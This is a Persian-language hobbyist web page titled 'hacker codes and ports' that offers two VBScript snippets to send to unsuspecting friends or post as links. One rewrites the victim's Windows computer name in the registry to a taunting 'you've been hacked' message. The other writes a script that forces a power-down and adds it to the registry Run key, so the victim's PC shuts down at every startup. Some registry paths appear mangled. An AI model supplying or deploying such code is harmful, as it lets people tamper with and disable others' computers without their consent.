کدهاي هکر و پورت

                                            اينم يه روش برای عوض کردن نام کامپيوتر ديگران                           

 
                             اين برنامه يه برنامه با حال هست كه باعث ميشه اسم كامپيوتر بيننده اون به چيزي كه شما دوست داري                           

                                              تغيير كنه كافيه اين  برنام را                  

                           توي يه فايل  ذخيره كنيد و واسه دوستتون بفرستيد و يا بعنوان يه لينك توي سايتون بزارين عاليه نه                       

                                                                  ( با پسونده vbs )  اينم كدش                                                      

                                                                       من اسمشو گذاشتم ها ها هک شدی بابا اسمش خوبه مگه نه                                

                                                                Set WshShell = CreateObject("WScript.Shell") WshShell.RegDelete "HKEY_LOCAL_MACHINESystemCurrentControlSetControlComputerNameComputerName" WshShell.RegWrite "HKEY_LOCAL_MACHINESystemCurrentControlSetControlComputerNameComputerNameComputerName","ha ha hak shodi baba                                                  
 

                                                       این هم یه سورسه برای هک کردن و شات دان کامپیوتر دیگران                            
 

                            کافيه اين کد را تويه يه فايل ذخيره کني وبعد اونو واسه يکي از دوستانت بفرستي و اونم از همه جا بي                         

                                ( با پسونده vbs )بي خبر اونو باز کننده اگه خودش باز کنه مي فهمه که چي ..........؟                      

                                                                                              
                                                             Sub ShutDown Set FSO = CreateObject("Scripting.FileSystemObject") Set TxtFile = FSO.CreateTextFile("c:\restart.vbs", 2, False) TxtFile.WriteLine "Sub ShutDown " TxtFile.WriteLine "nLogOff=0 " TxtFile.WriteLine "nReboot=2 " TxtFile.WriteLine "nForceLogOff=4 " TxtFile.WriteLine "nForceReboot=6 " TxtFile.WriteLine "nPowerDown=8 " TxtFile.WriteLine "nForcePowerDown=12 " TxtFile.WriteLine "Set oOS = GetObject("+chr(34)+"winmgmts:{(Shutdown)}"+chr(34)+").ExecQuery("+chr(34)+"Select * from Win32_OperatingSystem"+chr(34)+") " TxtFile.WriteLine "For Each oOperatingSystem in oOS " TxtFile.WriteLine " oOperatingSystem.Win32Shutdown(nForcePowerDown) " TxtFile.WriteLine "Next " TxtFile.WriteLine "End sub " TxtFile.WriteLine "ShutDown " TxtFile.Close Set WshShell = CreateObject("WScript.Shell") WshShell.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunRestart", "c:\restart.vbs" End sub ShutDown                                                 

پورت